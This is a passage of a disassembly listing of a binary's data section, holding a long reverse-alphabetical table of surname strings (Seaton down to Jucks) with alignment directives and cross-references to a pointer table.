aSeaton db 'Seaton',0 ; DATA XREF: .data:0042E824o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .data:0042E820o
aScovel db 'Scovel',0 ; DATA XREF: .data:0042E81Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0042E818o
aSchwan db 'Schwan',0 ; DATA XREF: .data:0042E814o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0042E810o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: .data:0042E80Co
aSchuman db 'Schuman',0 ; DATA XREF: .data:0042E808o
aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0042E804o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0042E800o
aSchilling db 'Schilling',0 ; DATA XREF: .data:0042E7FCo
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: .data:0042E7F8o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .data:0042E7F4o
aScheiner db 'Scheiner',0 ; DATA XREF: .data:0042E7F0o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0042E7ECo
aScharf db 'Scharf',0 ; DATA XREF: .data:0042E7E8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: .data:0042E7E4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .data:0042E7E0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: .data:0042E7DCo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: .data:0042E7D8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0042E7D4o
align 4
aSatta db 'Satta',0 ; DATA XREF: .data:0042E7D0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: .data:0042E7CCo
align 4
aSase db 'Sase',0 ; DATA XREF: .data:0042E7C8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: .data:0042E7C4o
aSarin db 'Sarin',0 ; DATA XREF: .data:0042E7C0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: .data:0042E7BCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: .data:0042E7B8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0042E7B4o
aSamson db 'Samson',0 ; DATA XREF: .data:0042E7B0o
align 4
aSali db 'Sali',0 ; DATA XREF: .data:0042E7ACo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: .data:0042E7A8o
align 4
aSafire db 'Safire',0 ; DATA XREF: .data:0042E7A4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: .data:0042E7A0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .data:0042E79Co
align 4
aRyu db 'Ryu',0 ; DATA XREF: .data:0042E798o
aRush db 'Rush',0 ; DATA XREF: .data:0042E794o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: .data:0042E790o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .data:0042E78Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: .data:0042E788o
align 10h
aRu db 'Ru',0 ; DATA XREF: .data:0042E784o
align 4
aRoyal db 'Royal',0 ; DATA XREF: .data:0042E780o
align 4
aRow db 'Row',0 ; DATA XREF: .data:0042E77Co
aRonen db 'Ronen',0 ; DATA XREF: .data:0042E778o
align 4
aRogers db 'Rogers',0 ; DATA XREF: .data:0042E774o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: .data:0042E770o
aRocha db 'Rocha',0 ; DATA XREF: .data:0042E76Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: .data:0042E768o
align 4
aRivera db 'Rivera',0 ; DATA XREF: .data:0042E764o
align 4
aRish db 'Rish',0 ; DATA XREF: .data:0042E760o
align 4
aRineer db 'Rineer',0 ; DATA XREF: .data:0042E75Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: .data:0042E758o
align 4
aRielly db 'Rielly',0 ; DATA XREF: .data:0042E754o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .data:0042E750o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: .data:0042E74Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: .data:0042E748o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: .data:0042E744o
aRenick db 'Renick',0 ; DATA XREF: .data:0042E740o
align 10h
aRemak db 'Remak',0 ; DATA XREF: .data:0042E73Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: .data:0042E738o
aCunningham db 'Cunningham',0 ; DATA XREF: .data:0042E734o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .data:0042E730o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0042E72Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: .data:0042E728o
aRapple db 'Rapple',0 ; DATA XREF: .data:0042E724o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .data:0042E720o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: .data:0042E71Co
align 4
aRaney db 'Raney',0 ; DATA XREF: .data:0042E718o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0042E714o
aRadeke db 'Radeke',0 ; DATA XREF: .data:0042E710o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .data:0042E70Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: .data:0042E708o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .data:0042E704o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: .data:0042E700o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .data:0042E6FCo
aPugh db 'Pugh',0 ; DATA XREF: .data:0042E6F8o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .data:0042E6F4o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0042E6F0o
align 4
aProietti db 'Proietti',0 ; DATA XREF: .data:0042E6ECo
align 4
aPritz db 'Pritz',0 ; DATA XREF: .data:0042E6E8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: .data:0042E6E4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: .data:0042E6E0o
aPreucel db 'Preucel',0 ; DATA XREF: .data:0042E6DCo
aPresper db 'Presper',0 ; DATA XREF: .data:0042E6D8o
aPowers db 'Powers',0 ; DATA XREF: .data:0042E6D4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .data:0042E6D0o
aPoma db 'Poma',0 ; DATA XREF: .data:0042E6CCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: .data:0042E6C8o
aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0042E6C4o
aPolak db 'Polak',0 ; DATA XREF: .data:0042E6C0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .data:0042E6BCo
aPointer db 'Pointer',0 ; DATA XREF: .data:0042E6B8o
aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0042E6B4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: .data:0042E6B0o
align 4
aPo db 'Po',0 ; DATA XREF: .data:0042E6ACo
align 10h
aPlous db 'Plous',0 ; DATA XREF: .data:0042E6A8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .data:0042E6A4o
aPlant db 'Plant',0 ; DATA XREF: .data:0042E6A0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .data:0042E69Co
aPinot db 'Pinot',0 ; DATA XREF: .data:0042E698o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0042E694o
aPfister db 'Pfister',0 ; DATA XREF: .data:0042E690o
aPettit db 'Pettit',0 ; DATA XREF: .data:0042E68Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: .data:0042E688o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0042E684o
align 4
aPeters db 'Peters',0 ; DATA XREF: .data:0042E680o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0042E67Co
align 4
aPerone db 'Perone',0 ; DATA XREF: .data:0042E678o
align 4
aPerna db 'Perna',0 ; DATA XREF: .data:0042E674o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .data:0042E670o
aPerlak db 'Perlak',0 ; DATA XREF: .data:0042E66Co
align 4
aPerko db 'Perko',0 ; DATA XREF: .data:0042E668o
align 4
aPereira db 'Pereira',0 ; DATA XREF: .data:0042E664o
aPenny db 'Penny',0 ; DATA XREF: .data:0042E660o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .data:0042E65Co
aPederson db 'Pederson',0 ; DATA XREF: .data:0042E658o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0042E654o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .data:0042E650o
aPaynter db 'Paynter',0 ; DATA XREF: .data:0042E64Co
aPawloski db 'Pawloski',0 ; DATA XREF: .data:0042E648o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: .data:0042E644o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .data:0042E640o
aPattullo db 'Pattullo',0 ; DATA XREF: .data:0042E63Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .data:0042E638o
aPatefield db 'Patefield',0 ; DATA XREF: .data:0042E634o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: .data:0042E630o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .data:0042E62Co
align 4
aParris db 'Parris',0 ; DATA XREF: .data:0042E628o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0042E624o
aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0042E620o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .data:0042E61Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0042E618o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: .data:0042E614o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0042E610o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .data:0042E60Co
aPalepu db 'Palepu',0 ; DATA XREF: .data:0042E608o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0042E604o
align 4
aPaine db 'Paine',0 ; DATA XREF: .data:0042E600o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0042E5FCo
align 4
aOvid db 'Ovid',0 ; DATA XREF: .data:0042E5F8o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .data:0042E5F4o
aOtten db 'Otten',0 ; DATA XREF: .data:0042E5F0o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0042E5ECo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0042E5E8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: .data:0042E5E4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .data:0042E5E0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .data:0042E5DCo
aOray db 'Oray',0 ; DATA XREF: .data:0042E5D8o
align 4
aOpel db 'Opel',0 ; DATA XREF: .data:0042E5D4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0042E5D0o
aOman db 'Oman',0 ; DATA XREF: .data:0042E5CCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0042E5C8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0042E5C4o
align 4
aOlson db 'Olson',0 ; DATA XREF: .data:0042E5C0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .data:0042E5BCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: .data:0042E5B8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0042E5B4o
aOh db 'Oh',0 ; DATA XREF: .data:0042E5B0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: .data:0042E5ACo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .data:0042E5A8o
aNuzum db 'Nuzum',0 ; DATA XREF: .data:0042E5A4o
align 4
aNotman db 'Notman',0 ; DATA XREF: .data:0042E5A0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: .data:0042E59Co
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .data:0042E598o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0042E594o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .data:0042E590o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: .data:0042E58Co
align 4
aNg db 'Ng',0 ; DATA XREF: .data:0042E588o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .data:0042E584o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0042E580o
aNeuman db 'Neuman',0 ; DATA XREF: .data:0042E57Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: .data:0042E578o
align 4
aNenna db 'Nenna',0 ; DATA XREF: .data:0042E574o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: .data:0042E570o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .data:0042E56Co
aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0042E568o
aNardone db 'Nardone',0 ; DATA XREF: .data:0042E564o
aNardi db 'Nardi',0 ; DATA XREF: .data:0042E560o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0042E55Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0042E558o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: .data:0042E554o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .data:0042E550o
aMulroy db 'Mulroy',0 ; DATA XREF: .data:0042E54Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .data:0042E548o
aMugnai db 'Mugnai',0 ; DATA XREF: .data:0042E544o
align 4
aMuello db 'Muello',0 ; DATA XREF: .data:0042E540o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: .data:0042E53Co
aMotooka db 'Motooka',0 ; DATA XREF: .data:0042E538o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0042E534o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .data:0042E530o
align 4
aMosher db 'Mosher',0 ; DATA XREF: .data:0042E52Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .data:0042E528o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .data:0042E524o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: .data:0042E520o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .data:0042E51Co
aMorani db 'Morani',0 ; DATA XREF: .data:0042E518o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0042E514o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .data:0042E510o
align 4
aMonque db 'Monque',0 ; DATA XREF: .data:0042E50Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0042E508o
align 4
aMohr db 'Mohr',0 ; DATA XREF: .data:0042E504o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: .data:0042E500o
aModestino db 'Modestino',0 ; DATA XREF: .data:0042E4FCo
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .data:0042E4F8o
aMittal db 'Mittal',0 ; DATA XREF: .data:0042E4F4o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0042E4F0o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0042E4ECo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0042E4E8o
aMini db 'Mini',0 ; DATA XREF: .data:0042E4E4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: .data:0042E4E0o
align 4
aMills db 'Mills',0 ; DATA XREF: .data:0042E4DCo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: .data:0042E4D8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: .data:0042E4D4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: .data:0042E4D0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: .data:0042E4CCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: .data:0042E4C8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: .data:0042E4C4o
aMerz db 'Merz',0 ; DATA XREF: .data:0042E4C0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: .data:0042E4BCo
aMerminod db 'Merminod',0 ; DATA XREF: .data:0042E4B8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .data:0042E4B4o
aMerikoski db 'Merikoski',0 ; DATA XREF: .data:0042E4B0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .data:0042E4ACo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:0042E4A8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: .data:0042E4A4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:0042E4A0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:0042E49Co
aMclaren db 'Mclaren',0 ; DATA XREF: .data:0042E498o
aMclane db 'Mclane',0 ; DATA XREF: .data:0042E494o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .data:0042E490o
aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:0042E48Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: .data:0042E488o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:0042E484o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: .data:0042E480o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .data:0042E47Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:0042E478o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:0042E474o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:0042E470o
align 4
aMccall db 'Mccall',0 ; DATA XREF: .data:0042E46Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:0042E468o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .data:0042E464o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0042E460o
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: .data:0042E45Co
aMay db 'May',0 ; DATA XREF: .data:0042E458o
aMauzy db 'Mauzy',0 ; DATA XREF: .data:0042E454o
align 10h
aMattson db 'Mattson',0 ; DATA XREF: .data:0042E450o
aMatsukata db 'Matsukata',0 ; DATA XREF: .data:0042E44Co
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:0042E448o
align 10h
aMatalka db 'Matalka',0 ; DATA XREF: .data:0042E444o
aMass db 'Mass',0 ; DATA XREF: .data:0042E440o
align 10h
aMarubini db 'Marubini',0 ; DATA XREF: .data:0042E43Co
align 4
aMarton db 'Marton',0 ; DATA XREF: .data:0042E438o
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .data:0042E434o
align 10h
aMartinez db 'Martinez',0 ; DATA XREF: .data:0042E430o
align 4
aMarques db 'Marques',0 ; DATA XREF: .data:0042E42Co
aMargetts db 'Margetts',0 ; DATA XREF: .data:0042E428o
align 10h
aMargalit db 'Margalit',0 ; DATA XREF: .data:0042E424o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: .data:0042E420o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0042E41Co
align 10h
aMarch db 'March',0 ; DATA XREF: .data:0042E418o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .data:0042E414o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .data:0042E410o
aMandel db 'Mandel',0 ; DATA XREF: .data:0042E40Co
align 4
aManalis db 'Manalis',0 ; DATA XREF: .data:0042E408o
aMalova db 'Malova',0 ; DATA XREF: .data:0042E404o
align 4
aMaller db 'Maller',0 ; DATA XREF: .data:0042E400o
align 10h
aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0042E3FCo
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .data:0042E3F8o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0042E3F4o
align 4
aMaier db 'Maier',0 ; DATA XREF: .data:0042E3F0o
align 4
aMahony db 'Mahony',0 ; DATA XREF: .data:0042E3ECo
align 4
aMaggio db 'Maggio',0 ; DATA XREF: .data:0042E3E8o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .data:0042E3E4o
aMacy db 'Macy',0 ; DATA XREF: .data:0042E3E0o
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0042E3DCo
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .data:0042E3D8o
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0042E3D4o
align 10h
aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0042E3D0o
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0042E3CCo
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0042E3C8o
align 4
aMa db 'Ma',0 ; DATA XREF: .data:0042E3C4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .data:0042E3C0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0042E3BCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: .data:0042E3B8o
aLuoma db 'Luoma',0 ; DATA XREF: .data:0042E3B4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .data:0042E3B0o
aLuecke db 'Luecke',0 ; DATA XREF: .data:0042E3ACo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0042E3A8o
aLuciano db 'Luciano',0 ; DATA XREF: .data:0042E3A4o
aLucas db 'Lucas',0 ; DATA XREF: .data:0042E3A0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: .data:0042E39Co
align 4
aLoza db 'Loza',0 ; DATA XREF: .data:0042E398o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0042E394o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: .data:0042E390o
aLoss db 'Loss',0 ; DATA XREF: .data:0042E38Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: .data:0042E388o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0042E384o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .data:0042E380o
aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0042E37Co
aLivi db 'Livi',0 ; DATA XREF: .data:0042E378o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: .data:0042E374o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .data:0042E370o
align 4
aLittle db 'Little',0 ; DATA XREF: .data:0042E36Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .data:0042E368o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .data:0042E364o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .data:0042E360o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .data:0042E35Co
aLine db 'Line',0 ; DATA XREF: .data:0042E358o
align 4
aLinder db 'Linder',0 ; DATA XREF: .data:0042E354o
align 4
aLinda db 'Linda',0 ; DATA XREF: .data:0042E350o
align 4
aLinares db 'Linares',0 ; DATA XREF: .data:0042E34Co
aLim db 'Lim',0 ; DATA XREF: .data:0042E348o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0042E344o
align 4
aLight db 'Light',0 ; DATA XREF: .data:0042E340o
align 4
aLiem db 'Liem',0 ; DATA XREF: .data:0042E33Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: .data:0042E338o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .data:0042E334o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .data:0042E330o
align 4
aLesser db 'Lesser',0 ; DATA XREF: .data:0042E32Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0042E328o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: .data:0042E324o
align 4
aLeite db 'Leite',0 ; DATA XREF: .data:0042E320o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0042E31Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: .data:0042E318o
align 4
aLecar db 'Lecar',0 ; DATA XREF: .data:0042E314o
align 4
aLawless db 'Lawless',0 ; DATA XREF: .data:0042E310o
aLashley db 'Lashley',0 ; DATA XREF: .data:0042E30Co
aLaserna db 'Laserna',0 ; DATA XREF: .data:0042E308o
aLanzit db 'Lanzit',0 ; DATA XREF: .data:0042E304o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .data:0042E300o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .data:0042E2FCo
align 10h
aLandes db 'Landes',0 ; DATA XREF: .data:0042E2F8o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .data:0042E2F4o
; .data:0043294Co
align 4
aLaing db 'Laing',0 ; DATA XREF: .data:0042E2F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: .data:0042E2ECo
; .data:off_4327E8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .data:0042E2E8o
aLa db 'La',0 ; DATA XREF: .data:0042E2E4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0042E2E0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: .data:0042E2DCo
align 4
aKumar db 'Kumar',0 ; DATA XREF: .data:0042E2D8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0042E2D4o
aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0042E2D0o
aKroemer db 'Kroemer',0 ; DATA XREF: .data:0042E2CCo
aKraus db 'Kraus',0 ; DATA XREF: .data:0042E2C8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .data:0042E2C4o
aKrailo db 'Krailo',0 ; DATA XREF: .data:0042E2C0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .data:0042E2BCo
aKovaks db 'Kovaks',0 ; DATA XREF: .data:0042E2B8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: .data:0042E2B4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0042E2B0o
align 10h
aKool db 'Kool',0 ; DATA XREF: .data:0042E2ACo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .data:0042E2A8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0042E2A4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .data:0042E2A0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0042E29Co
align 10h
aKohn db 'Kohn',0 ; DATA XREF: .data:0042E298o
align 4
aKoch db 'Koch',0 ; DATA XREF: .data:0042E294o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: .data:0042E290o
aKnuff db 'Knuff',0 ; DATA XREF: .data:0042E28Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: .data:0042E288o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0042E284o
aKling db 'Kling',0 ; DATA XREF: .data:0042E280o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0042E27Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0042E278o
aKleiman db 'Kleiman',0 ; DATA XREF: .data:0042E274o
aKleckner db 'Kleckner',0 ; DATA XREF: .data:0042E270o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .data:0042E26Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .data:0042E268o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0042E264o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: .data:0042E260o
aKindall db 'Kindall',0 ; DATA XREF: .data:0042E25Co
aKimura db 'Kimura',0 ; DATA XREF: .data:0042E258o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .data:0042E254o
aKimmel db 'Kimmel',0 ; DATA XREF: .data:0042E250o
align 4
aKhong db 'Khong',0 ; DATA XREF: .data:0042E24Co
align 4
aKeul db 'Keul',0 ; DATA XREF: .data:0042E248o
align 4
aKerry db 'Kerry',0 ; DATA XREF: .data:0042E244o
align 4
aKendall db 'Kendall',0 ; DATA XREF: .data:0042E240o
aKemsley db 'Kemsley',0 ; DATA XREF: .data:0042E23Co
aKempton db 'Kempton',0 ; DATA XREF: .data:0042E238o
aKelsey db 'Kelsey',0 ; DATA XREF: .data:0042E234o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .data:0042E230o
align 4
aKeith db 'Keith',0 ; DATA XREF: .data:0042E22Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: .data:0042E228o
aKeenan db 'Keenan',0 ; DATA XREF: .data:0042E224o
align 4
aKee db 'Kee',0 ; DATA XREF: .data:0042E220o
aKawachi db 'Kawachi',0 ; DATA XREF: .data:0042E21Co
aKasten db 'Kasten',0 ; DATA XREF: .data:0042E218o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: .data:0042E214o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:0042E210o
align 4
aKangis db 'Kangis',0 ; DATA XREF: .data:0042E20Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: .data:0042E208o
align 4
aKalman db 'Kalman',0 ; DATA XREF: .data:0042E204o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:0042E200o
align 4
aKalil db 'Kalil',0 ; DATA XREF: .data:0042E1FCo
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .data:0042E1F8o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:0042E1F4o
aKafadar db 'Kafadar',0 ; DATA XREF: .data:0042E1F0o
aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:0042E1ECo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: .data:0042E1E8o
aJulious db 'Julious',0 ; DATA XREF: .data:0042E1E4o
aJuliano db 'Juliano',0 ; DATA XREF: .data:0042E1E0o
aJucks db 'Jucks',0 ; DATA XREF: .data:0042E1DCo
align 10h
